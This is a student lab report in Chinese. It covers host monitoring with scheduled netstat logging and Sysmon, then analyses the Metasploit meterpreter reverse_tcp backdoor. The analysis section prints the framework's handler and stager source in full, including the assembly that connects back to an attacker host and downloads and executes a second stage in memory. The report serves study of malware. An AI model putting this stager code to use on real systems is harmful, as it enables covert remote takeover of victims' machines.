NF_Exp4_20164306
恶意代码分析
1 关键内容
系统运行监控
(1)使用计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP是哪里。运行一段时间并分析该文件,综述分析结果。
(2)安装配置sysinternals里的sysmon工具,设置合理的配置文件,监控自己主机的重点事可疑行为。
恶意软件分析
分析后门软件
(3)读取、添加、删除了哪些注册表项
(4)读取、添加、删除了哪些文件
(5)连接了哪些外部IP,传输了什么数据
2 系统运行监控
实验在win10环境中进行
设置任务计划,计划任务名为20164306,每隔1分钟运行netstat -bn,结果输出至E盘根目录下的20164306.txt
schtasks /create /TN 20164306 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > e:\20164306.txt"
光是这样只能记录网络状态,如果想同时记录时间,需要运行多条指令,这里通过批处理实现
在E盘根目录下新建20164306.bat,用于计时,具体内容如下
date /t >>e:\20164306.txt time /t >>e:\20164306.txt netstat -bn >>e:\20164306.txt
控制面板->系统与安全->管理工具->任务计划程序,找到20164306任务
修改用户和组,注意勾选使用最高权限运行
取消电源选项
将“程序或脚本”替换为20164306.bat文件
查看结果如下
导入至excel画图分析
频数第一是chrome浏览器,第二是win10的Cortanar,其它是些阿里、腾讯、微软的东西,算是正常吧
sysmon下载地址
https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysmon
配置文件mark,20164306.xml
<Sysmon schemaversion="4.00"> <!-- Capture all hashes --> <HashAlgorithms>*</HashAlgorithms> <EventFiltering> <!-- Log all drivers except if the signature --> <!-- contains Microsoft or Windows --> <DriverLoad onmatch="exclude"> <Signature condition="contains">microsoft</Signature> <Signature condition="contains">windows</Signature> </DriverLoad> <NetworkConnect onmatch="exclude"> <Image condition="end with">chrome.exe</Image> <Image condition="end with">iexplorer.exe</Image> <SourcePort condition="is">137</SourcePort> <SourceIp condition="is">127.0.0.1</SourceIp> </NetworkConnect> <CreateRemoteThread onmatch="include"> <TargetImage condition="end with">explorer.exe</TargetImage> <TargetImage condition="end with">svchost.exe</TargetImage> <TargetImage condition="end with">winlogon.exe</TargetImage> <SourceImage condition="end with">powershell.exe</SourceImage> </CreateRemoteThread> </EventFiltering> </Sysmon>
安装Sysmon
控制面板->系统与安全->管理工具->事件查看器->应用程序和服务日志-> Microsoft -> Windows -> sysmon -> Operational
筛选ID为1,2,3的日志记录,保存为txt文本
可在界面中直接查看相应时间,也可将导出的txt文件导入excel进行查看
可以看到先前设置的,正在运行的,用于记录网络状态的任务计划
3 恶意软件分析
针对meterpreter后门程序,首先分析工作原理,而后聚焦stager源码
在meterpreter中选择reverse_tcp实现后门,其基本工作流程如下所示
即生成shellcode,在靶机中运行后向服务器请求连接,接收发送回的payload,利用Reflective Dll Injection技术在内存中直接加载payload
确保攻击隐蔽性的关键技术为:
- tcp反弹连接
- 载荷执行
reverse_tcp的stager生成代码位于以下目录
具体内容如下
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/reverse_tcp' module MetasploitModule CachedSize = 283 include Msf::Payload::Stager include Msf::Payload::Windows::ReverseTcp def initialize(info = {}) super(merge_info(info, 'Name' => 'Reverse TCP Stager', 'Description' => 'Connect back to the attacker', 'Author' => ['hdm', 'skape', 'sf'], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, 'Convention' => 'sockedi', 'Stager' => {'RequiresMidstager' => false} )) end end
其中显示了包括大小在内的具体参数,可对照着之前实验生成的stager验证具体内容
跟踪上述代码引用的另外两个rb文件
第一个位于目录
具体内容及注释如下
# -*- coding: binary -*- require 'rex/socket' require 'thread' module Msf module Handler ### # # This module implements the reverse TCP handler. This means # that it listens on a port waiting for a connection until # either one is established or it is told to abort. # # This handler depends on having a local host and port to # listen on. # ### module ReverseTcp include Msf::Handler include Msf::Handler::Reverse include Msf::Handler::Reverse::Comm # # Returns the string representation of the handler type, in this case # 'reverse_tcp'. # def self.handler_type "reverse_tcp" end # # Returns the connection-described general handler type, in this case # 'reverse'. # def self.general_handler_type "reverse" end # # Initializes the reverse TCP handler and ads the options that are required # for all reverse TCP payloads, like local host and local port. # def initialize(info = {}) super # XXX: Not supported by all modules register_advanced_options( [ OptAddress.new( 'ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system' ] ), OptBool.new( 'ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false ] ) ] + Msf::Opt::stager_retry_options, Msf::Handler::ReverseTcp ) self.conn_threads = [] end # # Closes the listener socket if one was created. # def cleanup_handler stop_handler # Kill any remaining handle_connection threads that might # be hanging around conn_threads.each do |thr| begin thr.kill rescue nil end end end # A string suitable for displaying to the user # # @return [String] def human_name "reverse TCP" end # A URI describing what the payload is configured to use for transport def payload_uri addr = datastore['LHOST'] uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr "tcp://#{uri_host}:#{datastore['LPORT']}" end # A URI describing where we are listening # # @param addr [String] the address that # @return [String] A URI of the form +scheme://host:port/+ def listener_uri(addr = datastore['ReverseListenerBindAddress']) addr = datastore['LHOST'] if addr.nil? || addr.empty? uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr "tcp://#{uri_host}:#{bind_port}" end # # Starts monitoring for an inbound connection. # def start_handler queue = ::Queue.new local_port = bind_port handler_name = "ReverseTcpHandlerListener-#{local_port}" self.listener_thread = framework.threads.spawn(handler_name, false, queue) { |lqueue| loop do # Accept a client connection begin client = listener_sock.accept if client self.pending_connections += 1 lqueue.push(client) end rescue Errno::ENOTCONN nil rescue StandardError => e wlog [ "#{handler_name}: Exception raised during listener accept: #{e.class}", $ERROR_INFO.to_s, $ERROR_POSITION.join("\n") ].join("\n") end end } worker_name = "ReverseTcpHandlerWorker-#{local_port}" self.handler_thread = framework.threads.spawn(worker_name, false, queue) { |cqueue| loop do begin client = cqueue.pop unless client elog("#{worker_name}: Queue returned an empty result, exiting...") end # Timeout and datastore options need to be passed through to the client opts = { datastore: datastore, expiration: datastore['SessionExpirationTimeout'].to_i, comm_timeout: datastore['SessionCommunicationTimeout'].to_i, retry_total: datastore['SessionRetryTotal'].to_i, retry_wait: datastore['SessionRetryWait'].to_i } if datastore['ReverseListenerThreaded'] thread_name = "#{worker_name}-#{client.peerhost}" conn_threads << framework.threads.spawn(thread_name, false, client) do |client_copy| handle_connection(wrap_aes_socket(client_copy), opts) end else handle_connection(wrap_aes_socket(client), opts) end rescue StandardError elog("Exception raised from handle_connection: #{$ERROR_INFO.class}: #{$ERROR_INFO}\n\n#{$ERROR_POSITION.join("\n")}") end end } end def wrap_aes_socket(sock) if datastore["PAYLOAD"] !~ %r{java/} || (datastore["AESPassword"] || "") == "" return sock end socks = Rex::Socket.tcp_socket_pair socks[0].extend(Rex::Socket::Tcp) socks[1].extend(Rex::Socket::Tcp) m = OpenSSL::Digest.new('md5') m.reset key = m.digest(datastore["AESPassword"] || "") Rex::ThreadFactory.spawn('Session-AESEncrypt', false) do c1 = OpenSSL::Cipher.new('aes-128-cfb8') c1.encrypt c1.key = key sock.put([0].pack('N')) sock.put((c1.iv = c1.random_iv)) buf1 = socks[0].read(4096) while buf1 && buf1 != "" sock.put(c1.update(buf1)) buf1 = socks[0].read(4096) end sock.close end Rex::ThreadFactory.spawn('Session-AESDecrypt', false) do c2 = OpenSSL::Cipher.new('aes-128-cfb8') c2.decrypt c2.key = key iv = "" iv << sock.read(16 - iv.length) while iv.length < 16 c2.iv = iv buf2 = sock.read(4096) while buf2 && buf2 != "" socks[0].put(c2.update(buf2)) buf2 = sock.read(4096) end socks[0].close end socks[1] end # # Stops monitoring for an inbound connection. # def stop_handler # Terminate the listener thread listener_thread.kill if listener_thread && listener_thread.alive? == true # Terminate the handler thread handler_thread.kill if handler_thread && handler_thread.alive? == true begin listener_sock.close if listener_sock rescue IOError # Ignore if it's listening on a dead session dlog("IOError closing listener sock; listening on dead session?", LEV_1) end end protected attr_accessor :listener_sock # :nodoc: attr_accessor :listener_thread # :nodoc: attr_accessor :handler_thread # :nodoc: attr_accessor :conn_threads # :nodoc: end end end
第二个位于目录
具体内容及注释如下
# -*- coding: binary -*- require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/send_uuid' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' module Msf ### # # Complex reverse_tcp payload generation for Windows ARCH_X86 # ### module Payload::Windows::ReverseTcp include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Windows::SendUUID include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk # # Register reverse tcp specific options # def initialize(*args) super register_advanced_options([ OptString.new('PayloadBindPort', [false, 'Port to bind reverse tcp socket to on target system.']) ], self.class) end # # Generate the first stage # def generate(opts={}) ds = opts[:datastore] || datastore conf = { port: ds['LPORT'], host: ds['LHOST'], retry_count: ds['ReverseConnectRetries'], bind_port: ds['PayloadBindPort'], reliable: false } # Generate the advanced stager if we have space if self.available_space && required_space <= self.available_space conf[:exitfunk] = ds['EXITFUNC'] conf[:reliable] = true end generate_reverse_tcp(conf) end # # By default, we don't want to send the UUID, but we'll send # for certain payloads if requested. # def include_send_uuid false end def transport_config(opts={}) transport_config_reverse_tcp(opts) end # # Generate and compile the stager # def generate_reverse_tcp(opts={}) combined_asm = %Q^ cld ; Clear the direction flag. call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: pop ebp #{asm_reverse_tcp(opts)} #{asm_block_recv(opts)} ^ Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string end # # Determine the maximum amount of space required for the features requested # def required_space # Start with our cached default generated size space = cached_size # EXITFUNK 'thread' is the biggest by far, adds 29 bytes. space += 29 # Reliability adds some bytes! space += 44 space += uuid_required_size if include_send_uuid # The final estimated size space end # # Generate an assembly stub with the configured feature set and options. # # @option opts [Integer] :port The port to connect to # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh # @option opts [Integer] :retry_count Number of retry attempts # def asm_reverse_tcp(opts={}) retry_count = [opts[:retry_count].to_i, 1].max encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first addr_fam = 2 sockaddr_size = 16 asm = %Q^ ; Input: EBP must be the address of 'api_call'. ; Output: EDI will be the socket for the connection to the server ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) reverse_tcp: push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. push 'ws2_' ; ... push esp ; Push a pointer to the "ws2_32" string on the stack. push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} mov eax, ebp call eax ; LoadLibraryA( "ws2_32" ) mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) sub esp, eax ; alloc some space for the WSAData structure push esp ; push a pointer to this stuct push eax ; push the wVersionRequested parameter push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} call ebp ; WSAStartup( 0x0190, &WSAData ); set_address: push #{retry_count} ; retry counter create_socket: push #{encoded_host} ; host in little-endian format push #{encoded_port} ; family AF_INET and port number mov esi, esp ; save pointer to sockaddr struct push eax ; if we succeed, eax will be zero, push zero for the flags param. push eax ; push null for reserved parameter push eax ; we do not specify a WSAPROTOCOL_INFO structure push eax ; we do not specify a protocol inc eax ; push eax ; push SOCK_STREAM inc eax ; push eax ; push AF_INET push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); xchg edi, eax ; save the socket for later, don't care about the value of eax after this ^ # Check if a bind port was specified if opts[:bind_port] bind_port = opts[:bind_port] encoded_bind_port = "0x%.8x" % [bind_port.to_i,2].pack("vn").unpack("N").first asm << %Q^ xor eax, eax push 11 pop ecx push_0_loop: push eax ; if we succeed, eax will be zero, push it enough times ; to cater for both IPv4 and IPv6 loop push_0_loop ; bind to 0.0.0.0/[::], pushed above push #{encoded_bind_port} ; family AF_INET and port number mov esi, esp ; save a pointer to sockaddr_in struct push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used) push esi ; pointer to the sockaddr_in struct push edi ; socket push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')} call ebp ; bind( s, &sockaddr_in, 16 ); push #{encoded_host} ; host in little-endian format push #{encoded_port} ; family AF_INET and port number mov esi, esp ^ end asm << %Q^ try_connect: push 16 ; length of the sockaddr struct push esi ; pointer to the sockaddr struct push edi ; the socket push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} call ebp ; connect( s, &sockaddr, 16 ); test eax,eax ; non-zero means a failure jz connected handle_connect_failure: ; decrement our attempt count and try again dec dword [esi+8] jnz try_connect ^ if opts[:exitfunk] asm << %Q^ failure: call exitfunk ^ else asm << %Q^ failure: push 0x56A2B5F0 ; hardcoded to exitprocess for size call ebp ^ end asm << %Q^ ; this lable is required so that reconnect attempts include ; the UUID stuff if required. connected: ^ asm << asm_send_uuid if include_send_uuid asm end # # Generate an assembly stub with the configured feature set and options. # # @option opts [Bool] :reliable Whether or not to enable error handling code # def asm_block_recv(opts={}) reliable = opts[:reliable] asm = %Q^ recv: ; Receive the size of the incoming second stage... push 0 ; flags push 4 ; length = sizeof( DWORD ); push esi ; the 4 byte buffer on the stack to hold the second stage length push edi ; the saved socket push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call ebp ; recv( s, &dwLength, 4, 0 ); ^ if reliable asm << %Q^ ; reliability: check to see if the recv worked, and reconnect ; if it fails cmp eax, 0 jle cleanup_socket ^ end asm << %Q^ ; Alloc a RWX buffer for the second stage mov esi, [esi] ; dereference the pointer to the second stage length push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push esi ; push the newly recieved second stage length. push 0 ; NULL as we dont care where the allocation is. push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ; Receive the second stage and execute it... xchg ebx, eax ; ebx = our new memory address for the new stage push ebx ; push the address of the new stage so we can return into it read_more: push 0 ; flags push esi ; length push ebx ; the current address into our second stage's RWX buffer push edi ; the saved socket push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call ebp ; recv( s, buffer, length, 0 ); ^ if reliable asm << %Q^ ; reliability: check to see if the recv worked, and reconnect ; if it fails cmp eax, 0 jge read_successful ; something failed, free up memory pop eax ; get the address of the payload push 0x4000 ; dwFreeType (MEM_DECOMMIT) push 0 ; dwSize push eax ; lpAddress push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) cleanup_socket: ; clear up the socket push edi ; socket handle push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} call ebp ; closesocket(socket) ; restore the stack back to the connection retry count pop esi pop esi dec [esp] ; decrement the counter ; try again jnz create_socket jmp failure ^ end asm << %Q^ read_successful: add ebx, eax ; buffer += bytes_received sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read ret ; return into the second stage ^ if opts[:exitfunk] asm << asm_exitfunk(opts) end asm end end end
4 问题回答
请设计下你想监控的操作有哪些,用什么方法来监控
端口监听、网络连接——任务计划运行bat记录net state
文件访问记录——Sysmon
如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息
可通过逆向、反汇编、抓包等方法得到它的版本信息、代码内容、通信方式进而从目标、手段、触发条件等角度分析其恶意行为
具体工具包括但不限于IDEA,shell,wireshark
5 总结
通过实验学习了系统监视的一般方法,掌握了恶意代码的分析流程
该实验对防护恶意软件与设计恶意软件进行攻击都具有重要的启发意义,做完后受益匪浅